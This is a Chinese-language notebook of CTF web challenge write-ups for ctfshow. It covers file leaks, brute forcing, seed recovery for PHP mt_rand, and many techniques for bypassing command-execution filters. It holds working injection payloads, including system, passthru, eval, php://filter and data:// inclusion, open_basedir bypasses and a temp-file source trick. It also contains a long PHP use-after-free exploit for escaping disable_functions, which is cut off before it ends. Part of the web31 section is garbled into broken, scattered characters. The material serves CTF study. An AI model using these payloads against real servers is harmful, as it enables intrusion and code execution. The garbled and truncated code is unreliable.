本专题纯为个人学习记录的笔记,里面记载了ctf-web方向,一些感觉有意义的题而做的笔记,其中内容不完全是自己的解法,也有参考别人的,主要目的是分享学习,如有违规,请联系。
信息收集
web5
文件导致信息泄露,在日常渗透测试的过程中,我们可以使用burp进行一波fuzz测试,当然这个测试是要结合当前的路径来的,例如index.php–>index.phps/index.php.zip;upload.php–>upload.php.zip等等方式。
web6(备份压缩文件)
网站备份压缩文件 漏洞成因
在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。
当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站 web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下。
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。
被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。
.rar .zip .7z .tar.gz .bak .swp .txt
web9(vim缓存泄露)
vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为**.index.php.swo**,第三次退出后文件名为**.index.php.swn**
web11(查询域名解析地址)
查询域名解析地址 基本格式:nslookup host [server]
查询域名的指定解析类型的解析记录 基本格式:nslookup -type=type host [server]
查询全部 基本格式:nslookup -query=any host [server]
编辑nslookup -query=any flag.ctfshow.com
C:\Users\16032>nslookup -query=any flag.ctfshow.com 服务器: public-dns-a.baidu.com Address: 180.76.76.76 非权威应答: flag.ctfshow.com text = “flag{just_seesee}”
web14(editor文件编辑器)
本题的目的是让答题者了解editor文件编辑器,使用文件编辑器时可以上传文件和xss储存攻击,本题可以发现是服务器文件,然后可以发现很多目录,在目录下挨个查看即可
web16(php探针)
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息
- 根据提示用到php探针知识点
- 输入默认探针tz.php
- 打开后点击phpinfo就可以查看到flag
web20(递归扫描)
dirsearch递归扫描
使用dirsearch的-r参数递归扫描,扫描出url/db/db.mdb
访问url/db/db.mdb,自动下载db.mdb,打开后全局搜索flag即可获取flag
知识点:递归扫描
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了
爆破
web21
认证界面随便输入点东西,用bp抓包
发送到爆破页面设置payload,选择custom iterator模式,position1设置为admin,2设置为:,3设置为要爆破的密码字典
加上base64编码处理,并且去掉url编码,因为是post提交并不需要url编码
爆破结果根据长度进行筛选
position1,2,3的作用是拼接字符串认证界面随便输入点东西,用bp抓包
发送到爆破页面设置payload,选择custom iterator模式,position1设置为admin,2设置为:,3设置为要爆破的密码字典
加上base64编码处理,并且去掉url编码,因为是post提交并不需要url编码
爆破结果根据长度进行筛选
position的作用是拼接字符串
web24(伪随机数)
考点:伪随机数
php伪随机数mt_rand()函数
打开靶机分析代码,先是mt_srand(372619038);播种了一个随机数种子,然后比较用户传的GET参数r与否与**mt_rand()**生成的随机数一样,若一样则输出flag
逻辑很简单,只要发送的GET请求中的参数与后台生成的随机数一样即可获取flag
这里存在一个伪随机数漏洞,在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点。
上面已经用一个固定数字播种了随机数,mt_srand(372619038);所以只要在同一的php版本中,复现一下,也用mt_srand(372619038);播种随机数种子,再用mt_rand()生成随机数,得到的随机数都是一样的
所以第一步,F12打开开发者工具,查看网络中的响应包,获取靶机php版本,再在自己主机上搭建同样版本的php环境,播种同样的随机数种子,生成的随机数当作参数r的值发送请求,即可获取flag。r值为:url/?r=1155388967
也就是说,当随机数种子一样的时候,每一次生产的随机数数列都是一样的,即伪随机数
web25
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
观察源码,发现由hexdec(substr(md5($flag), 0,8))生成随机数种子
变量r通过get传参, r a n d 由 rand由 rand由r - mt_rand组成,如果rand值为零则执行if条件语句,否则输出rand
**过程:**首先传参r=0,触发else语句,输出rand值,可以让我们知道第一次输出的值是多少,然后通过工具
php_mt_seed获得种子
./php_mt_seed 随机数值
得到随机数种子
mt_srand(3533009975); #此处的这个数,来自上面PHP 7.1.0+那行。
echo 'intval(mt_rand())=';
echo intval(mt_rand());
echo '';
$token2=mt_rand()+mt_rand();
echo 'mt_rand()+mt_rand()=';
echo $token2;
echo '';
执行命令获得token,通过hackerbar传参即可
注意点:每一次调用mt_rand函数都会生成一次随机数,要看清使用了几次这个函数
web27
思路:打开学生管理系统,可以通过姓名身份证等查询学号,打开录取人员列表,发现身份证号,尝试爆破身份证号中间八位,爆破成功,F12打开控制台,console.log(json)拿到账号,输入账号密码,拿到flag
web28
还是爆破题 ,用burpsuite爆破
打开题目链接后,直接跳转到了 原url/0/1/2.txt
用burpsuite抓包后,发现 原url 是进行了302跳转 才进入了 原url/0/1/2.txt
如果直接输 原url/1/2 之类,会进行302跳转,然后跳转就会进入死循环,最后直接打不开
根据题意 ,是要进行一定的爆破的,那么,什么是爆破点呢,只能是 原url后面这两个目录 了,
于是将其置入intruder
GET /§0§/§1§/ HTTP/1.1
直接是在get 参数 上做上。
攻击类型 cluster bomb
payload sets 1 。 payload type:numbers from 1 to 99 step 1
payload sets 1 。 payload type:numbers from 1 to 99 step 1
start attack!开始攻击
执行一段时间后,发现有一个httpd状态码是200 其他都403
打开这个的response 发现flag
命令执行
web29(tac 倒序输出)
关键点:**eval()**函数是危险函数,会执行输入的命令,内执行的是php代码,必须以分号结尾
同时不能cat flag 要用tac(倒序输出)
其中对flag进行了正则匹配
preg_match("/flag/i")
意思为不分大小写,因此payload
c=system("tac fla*");
web30(简单绕过)
preg_match("/flag|system|php/i"
题目过滤了flag、system、php等。我们就可以考虑用什么来替代system执行系统命令。主要有passthru、exec等。更多命令执行的函数看看这里:https://www.php.cn/php-weizijiaocheng-298828.html
注意其中的exec,它的返回字符串只是外部程序执行后返回的最后一行;若需要完整的返回字符串,可以使用 PassThru() 这个函数。
尝试使用passthru来替代system执行系统命令。fla是因为flag被过滤了,我们使用号来尝试绕过对flag的过滤。关于linux命令中的通配符,可以看看这里:https://www.cnblogs.com/ysuwangqiang/p/11364173.html
解法1:passthru
?c=passthru("tac%20fla*");
解法2:绕过*号
假如*号被过滤了,我们可以通过?c=passthru(“ls”);先获取flag.php是目标,然后再通过 ? 来匹配单个字母,也就是fla???匹配flag.php,试一下,成功。
?c=passthru("tac%20fla?????");
解法3:反字节符配合echo
?c=echo(反引号ls反引号);
(在php中`反引号可以进行system一样的功能)
?c=echo `tac fla*`;
解法4:带参数输入
c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system("tac%20flag.php");
解法5:拼接法
?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");
解法6:php函数
/?c=highlight_file(base64_decode("ZmxhZy5waHA="));
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用eval函数特性,输出highlight_file(base64_decode(“ZmxhZy5waHA=”));经过编码的flag.php
从而进行绕过
web31(当空格被过滤时)
过滤不足导致绕过
打开靶机,简单代码分析
上传参数c,并对参数c进行一次过滤,将c中的flag|system|php|cat|sort|shell|.| |'字符串过滤掉,不区分大小写,然后执行c的值。
与上一题对比,多过滤了cat,sort,shell,点,空格和单引号。其中cat,sort可以用tail,tac,nl等代替,过滤了shell,则shell_exec用不了了,可以使用反引号,passthru,单引号可以用双引号代替,至于空格,可以使用**%09、$IFS
9
、
9、
9、{IFS}代替,过滤的flag,php,点,可以用通配符或?代替.
先url/?c=passthru(“ls”);一下,看看当前目录下有那些文件,页面输出了flag.php index.php 很明显,flag应该就存储在flag.php中,payload如下:
url/?c=passthru("tac%09fla");
url/?c=echo tac%09fla*
;
url/?c=passthru("tac$IFS$9fla*");
url/?c=passthru("tac
I
F
S
∗
∗
f
l
a
∗
"
)
;
∗
∗
注意:上面的
{IFS}**fla*"); **注意:上面的
IFS∗∗fla∗");∗∗注意:上面的需要用反斜杠进行转义**
空格绕过见:https://blog.csdn.net/m0_56059226/article/details/117997472
也可以嵌套eval绕过
url/?c=eval($_GET[“code”]);&code=system(“tac flag.php”);
还可以这么构造payload,如下:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
具体解释见https://blog.csdn.net/qq_38154820/article/details/107171940
使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web32(include文件包含)
拿到题,发现
/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|
这次还过滤了分号等
于是考虑用include文件包含函数
同时利用?>进行闭合从而绕过;
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encoding/resource=flag.php
关键点,构造变量逃逸$_GET[1]使变量中的值无法被过滤
web37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
发现flag被过滤了,同时进行文件包含,使用php伪协议
这里不能再用
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encoding/resource=flag.php
因为代码里面已经文件包含过一次了,所以不需要再构造逃逸变量了、
这里试试
?c=php://filter/read=convert.base64-encode/resource=flag.php
发现不行使用?也不行
这次用
?c=data://text/plain,<?php phpinfo();?>
发现可以执行
?c=data://text/plain,<?php system("tac fla?.php")?>
成功
web38(php的短标签绕过php)
/flag|php|file/i
观察代码,发现php也被过滤了
上一次的payload
?c=data://text/plain,<?php system("tac fla?.php")?>
中含有php
如何绕过呢?
利用php的短标签:
<?php echo 1; ?> 正常写法
<? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; === <? echo 'hello';
<?= phpinfo();?>
<% echo 1; %> asp 风格写法
<script language="php"> echo 1; </script> 长标签写法
web40(当函数都被禁用)
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
法一
c=eval(array_pop(next(get_defined_vars())));
//需要POST传入参数为
1=system('tac fl*');
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
**next()**将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
法二:当函数都被禁用
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
或者
c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
dirname(‘.’):为什么目录中没有FILE这个文件,仍然能返回值
dirname('FILE'):
dirname 函数不检查实际文件或路径是否存在。它只是简单地返回输入路径的父目录部分。
例如,dirname('FILE') 返回 '.',表示当前目录。
scandir(dirname('FILE')):
scandir 函数接受一个目录路径作为参数,并返回该目录中的所有文件和子目录的数组。
如果参数是一个有效的目录路径,scandir 函数会列出该目录中的所有文件和子目录。
在你的例子中,scandir(dirname('FILE')) 等价于 scandir('.'),这会返回当前目录中的所有文件和子目录,即使 FILE 文件不存在。
例如输入
c=print_r(scandir(dirname('.')));或c=print_r(scandir(dirname('..')));
返回
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
输入
c=print_r(scandir(dirname('../../')));
返回上一级目录
Array ( [0] => . [1] => .. [2] => html [3] => localhost )
pos() 函数返回数组中的当前元素的值。该函数是**current()**函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
**current()**返回数组中的当前元素的值。
**end()**将内部指针指向数组中的最后一个元素,并输出。
**next()**将内部指针指向数组中的下一个元素,并输出。
**prev()**将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
**each()**返回当前元素的键名和键值,并将内部指针向前移动。
为什么这样写payload?
?exp=print_r(scandir(current(localeconv())));
这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()
。当scandir()
传入.
,它就可以列出当前目录的所有文件。
但这里是无参数的RCE,我们不能写scandir(.)
,而localeconv()
却会有一个返回值,那个返回值正好就是.
scandir(current(localeconv()))
很常用
web41(无字母数字或运算)
先进行代码审计
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
题目首先接收一个POST请求中名为’c’的参数,然后进行过滤,若未被过滤则执行 eval(“echo($c);”);
对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、“^”、“+”、“~”、“$”、“[”、“]”、“{”、“}”、“&” 或 “-”,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下"|"没有过滤
所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。
思路如下:
-
首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
-
跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
-
使用POST请求发送c,获取flag
如下是通过或运算生成未被过滤字符的url编码
<?php
$file=fopen("1.txt","w");
$content="";
for($i=1;$i<256;$i++){
for($j=1;$j<256;$j++){
if($i<16){
$hex_i="0".dechex($i);
}else{
$hex_i = dechex($i);
}
if($j<16){
$hex_j="0".dechex($j);
}else{
$hex_j = dechex($j);
}
$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){
echo "";
}else{
$m="%".$hex_i;
$n="%".$hex_j;
$z=(urldecode($m)|urldecode($n));
if(ord($z)>32 && ord($z)<126){
$content=$content.$z." ".$m.$n."\n";
}
}
}
}
fwrite($file,$content);
fclose($file);
?>
在通过脚本完成
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
else{ highlight_file(__FILE__); }
源码如上
system($c . " >/dev/null 2>&1");
system
函数会在服务器上执行传入的命令。">/dev/null 2>&1"
的作用是将命令的标准输出和标准错误输出都重定向到/dev/null
,即忽略所有输出。
>/dev/null 2>&1
是一个在 Linux 和 Unix 系统中常用的重定向操作符,用于控制命令的输出。以下是这些符号的具体含义:
-
>
:重定向符号,用于将标准输出重定向到指定的文件或设备。 -
/dev/null
:一个特殊的文件,所有写入其中的数据都会被丢弃。它被称为 “bit bucket” 或 “black hole”。 -
2>&1
:
2
:表示标准错误(stderr)的文件描述符。>&
:表示重定向。1
:表示标准输出(stdout)的文件描述符。
web43(当分号被过滤时)
使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
过滤了分号和cat,可以用||和&来代替分号,tac代替cat
可构造playload:
url/?c=tac flag.php||
url/?c=tac flag.php%26
注意,这里的&需要url编码
web51(当某个特定字被过滤时)
如flag可以在中间加上一个" \ “或者在中间加上” "
空格被过滤可以用?c=t\ac<>fla’‘g.php||或?c=t\ac<fla’'g.php||
但是当使用?c=t\ac>fla’'g.php||会出现未知错误
web54(关于Linux命令所在目录)
在Linux中,命令所在的路径通常指的是这些命令的二进制文件或脚本所在的目录。每个命令都是一个可执行文件,它们通常位于某些特定的系统目录中,如 /bin
、/usr/bin
、/usr/local/bin
等。
环境变量 $PATH
在Linux系统中,环境变量 $PATH
存储了一系列目录,系统会在这些目录中搜索可执行命令。当你在终端中输入一个命令时,系统会依次在 $PATH
中列出的目录中查找该命令对应的可执行文件。
你可以通过以下命令查看当前的 $PATH
变量:
echo $PATH
输出类似于:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
这些目录中的文件都是你可以直接在终端中输入并执行的命令。
查找命令所在路径
使用 which
命令可以查找某个命令的具体路径。例如:
which ls
输出可能是:
/bin/ls
这表示 ls
命令的可执行文件位于 /bin
目录下。
例子
-
常见系统目录:
/bin
:基本系统命令,例如ls
、cp
、mv
等。/usr/bin
:用户命令和应用程序,例如vim
、nano
等。/usr/local/bin
:本地编译安装的软件。
-
添加自定义路径:
如果你有自定义的可执行文件,并希望系统能够找到它们,可以将其路径添加到
$PATH
中。例如,如果你的脚本位于~/scripts
目录下,你可以将其添加到$PATH
:export PATH=$PATH:~/scripts
这样,你就可以在终端中直接输入脚本名称来执行它。
实践
-
查看
$PATH
:echo $PATH
-
查找
ls
命令路径:which ls
-
将自定义目录添加到
$PATH
:export PATH=$PATH:/my/custom/path
故此题的payload
?c=/bin/ca?${IFS}f???.php
或者使用grep命令
?c=grep${IFS}-r${IFS}'ctfshow'${IFS}./
web55(关于Linux命令所在目录和利用‘.’进行rce)
方法一:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:
?c=/???/????64%20????.???
意思是 /bin/base64 flag.php
方法二:
bzip2是linux下面的压缩文件的命令 关于bzip2命令的具体介绍
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload:
?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
方法三:利用“.”进行rce
思路
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
既然有大写,我们可以用正则匹配来匹配文件名为大写的
因此我们使用glob通配符来匹配大写[@-[]在ASCII码中对应的是大写字母A-Z
因此我们构造payload
?c=.+/???/????????[@-[]]
发包多刷新几次,让他文件名最后一个字母刷出来是大写
tips:
playload:?c=.+/???/???[@-[]
因为 **.**命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)
2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令
3.上传的临时路径是一般来说这个文件在linux下面保存在/tmp/php???一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配) ,所以多试几次也是正常
注意:通过.去执行sh命令不需要有执行权限
4.我们的playload 的? 的数量只有11个,因为最后一个匹配为大写,用**[@-[] 代替了,不需要在它的后面再加上?**了
glob通配符
在Linux和Unix系统中,glob
通配符(Global)用于文件名匹配和路径名模式匹配。它们允许你使用简洁的表达式来匹配文件系统中的一组文件或目录。glob
通配符主要包括以下几种:
-
星号 (*):
- 匹配零个或多个字符。
- 例如,
*.txt
匹配所有以.txt
结尾的文件。
-
问号 (?):
- 匹配单个字符。
- 例如,
file?.txt
匹配file1.txt
、fileA.txt
等,但不匹配file10.txt
。
-
方括号 ([]):
- 匹配方括号内的任意一个字符。
- 例如,
file[1-3].txt
匹配file1.txt
、file2.txt
、file3.txt
。 - 可以使用字符范围,如
[a-z]
匹配小写字母a
到z
中的任何一个。
-
大括号 ({}):
- 扩展匹配,用于匹配指定的一组模式中的任意一个。
- 例如,
file{1,2,3}.txt
匹配file1.txt
、file2.txt
、file3.txt
。
-
波浪号 (~):
- 通常用于表示用户的主目录。
- 例如,
~/
表示当前用户的主目录。
示例
假设当前目录中有以下文件和子目录:
file1.txt
file2.txt
fileA.txt
fileB.txt
script.sh
data/
-
*.txt
:- 匹配所有以
.txt
结尾的文件,结果是file1.txt
、file2.txt
、fileA.txt
、fileB.txt
。
- 匹配所有以
-
file?.txt
:- 匹配所有以
file
开头,跟一个字符,再以.txt
结尾的文件,结果是file1.txt
、file2.txt
、fileA.txt
、fileB.txt
。
- 匹配所有以
-
file[1-2].txt
:- 匹配
file1.txt
和file2.txt
。
- 匹配
-
file{A,B}.txt
:- 匹配
fileA.txt
和fileB.txt
。
- 匹配
-
data/*
:- 匹配
data
目录下的所有文件和子目录。
- 匹配
web57(双小括号 (( ))的用法及按位取反)
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
思路:
发现大部分都被过滤了,但是题目提示flag是36.php,因此我们要想办法构造数字36
首先看等号左边(100) 的二进制表示为: 0110 0100 按位取反的意思就是每一位取反,0变1,1变0
所以: ~100 的二进制表示为:1001 1011 所以等号左边=1001 1011
再看右边
-101. 一旦看到出现负数,那么这个数一定是按有符号数的规则来表示的。一个二进制数 按位取反并加一以后就可以得到它自己的负数的补码,也就是说: ~x+1=-x 所以,我们把101按位取反加一 先取反:
~101=10011010 再加一: ~101+1=10011011=-101 所以等号右边=10011011=左边,所以等号成立。
双小括号 (( ))的用法
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
echo ${_} #返回上一次的执行结果`
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
$(($((~$(())))$((~$(())))))==-2
拆开看
$(( $((~$(()))) $((~$(()))) ))
$((~$(())))==-1 中间有两个所以是-2 是相加的 那中间有37个就是-37
tips:因为flag是36.php因此我们需要构造-37再根据公式~x+1=-x算出36
按位取反
按位取反是一种位操作,它将一个二进制数的每一位从0变为1,从1变为0。这个操作也称为"按位非"或"按位取反",在许多编程语言和计算机系统中用波浪号符号(~
)表示。
原理
按位取反运算将一个数的二进制表示形式中的每一位都进行反转。例如,对于 8 位无符号整数(即 0 到 255 之间的整数):
- 二进制数
10101010
按位取反后变为01010101
- 十进制数
170
(其二进制表示为10101010
)按位取反后变为85
(其二进制表示为01010101
)
对于有符号整数,取反操作要考虑符号位(最高位)。例如,对于一个 8 位有符号整数:
- 二进制数
00000001
(十进制数1
)按位取反后变为11111110
,在二进制补码表示法中,11111110
表示-2
什么是二进制补码表示法
二进制补码表示法是一种在计算机科学中用来表示有符号整数的方法。它有助于简化计算机硬件的设计,使加减法运算更为简便。补码表示法的主要特点是:
-
最高位作为符号位:最高位(最左边的一位)用于表示数的符号。0 表示正数,1 表示负数。
-
正数的表示:正数的补码表示法与其二进制原码相同。
-
负数的表示:负数的补码表示法是其正数绝对值的二进制表示取反后加 1。
-
具体例子
正数的补码表示
-
正数 5
:
- 二进制原码:
00000101
- 补码表示:
00000101
- 二进制原码:
负数的补码表示
-
web69(一些函数的替代)
当**show_source()被禁可以用hightlight_file()**函数替代
var_dump函数被禁用可以用var_export()
也可以利用Json将数组转化为字符串
json_encode() 函数将数组转换为 JSON 格式的字符串,可以用于在前端或其他系统中传递和处理数组数据。
例子:
$array = array(‘name’ => ‘John’, ‘age’ => 30, ‘city’ => ‘New York’);
echo json_encode($array);
开始做题: 1.先在根目录查看是否有flag
c=echo json_encode(scandir("/")); 发现flag.txt
也可以用**implode()**函数把数组元素组合为一个字符串:
?c=echo(implode('---',scandir("/")));
结果是
.---..---.dockerenv---bin---dev---etc---flag.txt---home---lib---media---mnt---opt---proc---root---run---sbin---srv---sys---tmp---usr---var
再利用读取函数readgzfile:可以读取非gz格式的文件
?c=readgzfile('/flag.txt');
web71(提前终止代码)
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
思路
分析源码发现,源码劫持了输出缓冲并且将数字和字母替换成了?
所以要想办法在他劫持源码前终止程序,因为eval输出在echo输出前因此利用终止程序的函数来阻止正则匹配
法一
在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
ob_flush();
ob_end_flush();
c=include('/flag.txt');ob_flush();
法二
提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit();
die();
payload示例:
c=include('/flag.txt');exit();
web72(关于绕过open_basedir)
glob:// 协议
glob://
是 PHP 中的一种流封装器,允许使用 glob()
函数来读取目录内容。它是 PHP 文件系统流的一部分,可以通过 glob://
访问文件路径模式匹配结果。
<?php$a = new DirectoryIterator("glob:///*");foreach ($a as $f){echo $f." ";}exit();?>
假设当前工作目录包含以下文件和目录:
file1.txt
file2.txt
dir1/
dir2/
运行上述代码后,输出可能类似于:
file1.txt file2.txt dir1 dir2
注意事项
-
glob://
协议需要 PHP 5.4.0 及以上版本的支持。 -
如果
glob:///*
模式没有匹配到任何文件或目录,则不会输出任何内容。 -
glob://
协议的模式匹配遵循与glob()
函数相同的规则,因此可以使用通配符(如*
,?
,[abc]
)来指定匹配模式。方法一:pendir()+readdir()+glob://
opendir()打开目录句柄 readdir() 读取目录
c=?><?php if ($b = opendir("glob:///*")) {
while (($file = readdir($b)) !== false) {
echo $file . "<br>";
}
closedir($b);
}
exit();//如果要使用这种格式,需要进行url编码,否则写为一行,中间不加空格等
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} exit();
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");}exit();
方法二:利用uaf脚本
找到flag0.txt 利用脚本uaf绕过
c=function ctfshow($cmd) { global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
